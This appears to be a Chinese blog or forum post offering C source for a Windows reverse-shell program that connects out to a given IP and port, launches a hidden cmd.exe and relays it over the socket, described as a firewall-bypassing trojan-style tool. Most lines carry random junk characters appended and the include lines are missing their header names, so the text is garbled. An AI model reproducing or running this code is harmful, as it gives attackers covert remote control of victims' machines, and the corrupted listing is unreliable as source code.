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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2>k*9kyp  
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/* ============================== D>W&#A8&y  
Rebound port in Windows NT fUWrR1  
By wind,2006/7 \yw5`5g  
===============================*/ %Y;^$%X%_  
#include ;K8}Yq9p9  
#include Yu)GV7\2  
{X?1}5ry  
#pragma comment(lib,"wsock32.lib") :P2!& W  
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void OutputShell(); NI,>$@{  
SOCKET sClient; p\;8?x  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; %RtL4"M2j  
3>L5TYa  
void main(int argc,char **argv) K*DH_\SPK  
{ \ Xh C  
WSADATA stWsaData; Ekq(  
int nRet; LFi* O&  
SOCKADDR_IN stSaiClient,stSaiServer; ;DnUeE8  
vI(LIfe;  
if(argc != 3) }2RbX,0l9  
{ E+XS7':I  
printf("Useage:\n\rRebound DestIP DestPort\n"); &gS-.{w "  
return; N.z2eo  
} l"dXL"h  
mCg^Y)Q  
WSAStartup(MAKEWORD(2,2),&stWsaData); ,@;|+C  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GEVDXx>@  
'do2n/  
stSaiClient.sin_family = AF_INET; Uq'W<.v 5  
stSaiClient.sin_port = htons(0); z;9D[ME#1  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 3zKeN:w  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) iZnLgkk@  
{ Jv3G\9_  
printf("Bind Socket Failed!\n"); Gchs$^1`t  
return; ;Krs*3 s  
} qP;1LAX  
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stSaiServer.sin_family = AF_INET; Lks+FW  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [c1Gq)ht  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pl@K"PRE  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?d?.&nt  
{ .J @mpJdY  
printf("Connect Error!"); ~PyS;L}  
return; #U%HG TE0  
} .kuNn-$  
OutputShell(); ALF21e*n  
} k.54lNl  
U%@C<o "  
void OutputShell() N3#^Ifn[  
{ 3D@3jyo:  
char szBuff[1024]; c9jS !uDMK  
SECURITY_ATTRIBUTES stSecurityAttributes; p JF 9Z  
OSVERSIONINFO stOsversionInfo; eA]8M^  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; @,,G]4zZ!  
STARTUPINFO stStartupInfo; ;Q vQ fV4  
char *szShell; q#8\BOTP |  
PROCESS_INFORMATION stProcessInformation; SOsz=bVx  
unsigned long lBytesRead; (m! kg  
uc"%uc'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Ue;Z)}  
(r?hD*2r  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @IbZci)1  
stSecurityAttributes.lpSecurityDescriptor = 0;  H6nH  
stSecurityAttributes.bInheritHandle = TRUE; Y$,~"$su|  
W-r^ME  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V+lS\E.  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Z5U\>7@&8  
G^h:#T  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); \5<Z[#{  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K5`*Y@  
stStartupInfo.wShowWindow = SW_HIDE; g.62XZF@  
stStartupInfo.hStdInput = hReadPipe; qk^/ &j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |/xA5_-N  
~};q/-[r  
GetVersionEx(&stOsversionInfo); ;q%z\gA  
JBc*m  
switch(stOsversionInfo.dwPlatformId) *wJz0ex7R/  
{ _(:$ :*@  
case 1: ,m0 M:!hK  
szShell = "command.com"; mc2uI-W  
break; wS,fj gX  
default: 7>r[.g  
szShell = "cmd.exe"; |"Zf0G  
break; c}S<<LR  
} 9:xs)t- _  
z8kebS&5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V,& OO  
e#}Fm;|d  
send(sClient,szMsg,77,0); -\%5aXr  
while(1) 2auJp .  
{ lZIJ[.  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jzpDKc%  
if(lBytesRead) J_yXL7d  
{ `w4'DB-R)  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U8>4ClJ4  
send(sClient,szBuff,lBytesRead,0); K9}Brhe  
} vAop#V  
else AH'3 5Kf)  
{ byt$Wqdl  
lBytesRead=recv(sClient,szBuff,1024,0); 7J6Z?  
if(lBytesRead<=0) break; F_w+8)DZ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Bnwq!i!M  
} JP( tf+  
} ;C1#[U1Uy  
T)q Uf H  
return; mb3aUFxA;  
}
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